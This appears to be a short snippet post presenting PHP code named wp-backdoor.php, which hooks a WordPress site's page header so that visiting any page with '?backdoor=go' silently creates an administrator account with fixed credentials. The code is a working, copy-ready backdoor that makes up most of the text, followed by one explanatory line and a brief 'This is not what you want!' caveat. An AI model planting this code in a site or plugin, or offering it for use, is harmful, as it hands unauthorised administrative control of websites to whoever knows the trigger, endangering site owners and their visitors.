Wordpress Backdoor add User #wordpress #php

wp-backdoor.php

add_action('wp_head', 'wpBackdoor');

function wpBackdoor() {
    if ($_GET['backdoor'] == 'go') {
        require('wp-includes/registration.php');
        if (!username_exists('USERNAME')) {
            $userID = wp_create_user('USERNAME', 'PASSWORD');
            $user = new WP_User($userID);
            $user->set_role('administrator');
        }
    }
}

This snippet above creates an user with pw if you call the URL with the parameter go on a given domain where the backdoor is implemented.
This is not what you want!